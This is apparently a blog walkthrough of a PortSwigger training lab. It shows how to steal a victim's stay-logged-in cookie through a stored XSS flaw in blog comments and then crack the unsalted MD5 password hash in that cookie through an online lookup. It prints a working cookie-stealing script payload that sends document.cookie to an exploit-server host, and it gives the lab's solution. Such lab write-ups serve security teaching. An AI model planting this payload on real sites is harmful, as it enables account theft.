The lab
here is how portswigger describes it
This lab stores the user's password hash in a cookie. The lab also contains an XSS vulnerability in the comment functionality. To solve the lab, obtain Carlos's stay-logged-in cookie and use it to crack his password. Then, log in as carlos and delete his account from the "My account" page.
Your credentials: wiener:peter Victim's username: carlos
the last lab built the cookie ourselves from guessed passwords and let the server tell us which guess was right. this one flips it around. we steal carlos's real cookie with a cross site scripting bug, then crack the hash inside it on our own machine where no rate limit or lockout can touch us.
why offline cracking changes the rules#
every brute force lab so far has thrown guesses at the server, which means the server gets to fight back with rate limits, ip blocks and account locks. offline cracking removes the server from the equation entirely.
the setup that makes it possible is the same insecure cookie as before, one that carries a hash of the password. if we can get hold of that cookie we are holding a password hash, and a hash can be attacked locally. we throw candidate passwords at it on our own hardware as fast as we like, or just look it up in a database of already cracked hashes, with nothing watching and nothing to slow us down. so this lab has two halves, first steal the cookie using the site's cross site scripting flaw, then crack the hash offline at our leisure.
Step 1 - confirm the cookie carries a password hash#
we log in as wiener with stay logged in enabled and look at the stay-logged-in cookie. same construction as the previous lab, it is Base64 encoded and decodes to our username, a colon, and an MD5 hash of our password:
username + ':' + md5(password)
so whoever holds carlos's cookie holds the MD5 hash of carlos's password. that is the thing worth stealing.
Step 2 - find the XSS in the comments#
to steal his cookie we need the site to run our code in carlos's browser, and the comment feature gives us that. testing it shows the comment functionality is vulnerable to stored cross site scripting, meaning whatever we post is saved and executed in the browser of anyone who views it.
stored XSS is perfect here because carlos will load the page with our comment on it, and our script will run as him, with access to his cookies.
Step 3 - steal carlos's cookie with a stored payload#
we grab our exploit server url, then post a comment on a blog carrying a script that ships the viewer's cookie to us:
<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>
the logic is simple. when carlos views the comment, his browser runs our script, which sets document.location to our exploit server with document.cookie glued onto the end. that navigation sends his cookies to us as part of the request url, and our server logs it. we swap in our own exploit server id and post it.
we then open the access log on the exploit server and find a GET request from the victim with his stay-logged-in cookie sitting in it.
Step 4 - crack the hash and solve#
now the offline half. we drop carlos's stolen cookie into burp decoder and decode it as Base64, which peels off the encoding and leaves his username next to the raw MD5 hash of his password.
MD5 is fast and unsalted, so common passwords are already catalogued all over the internet. we paste the hash into a search engine and it comes straight back, the password is onceuponatime. no guessing against the server, just a lookup.
we log in as carlos with that password, go to his account page, and delete the account to finish.
with this, the lab is solved!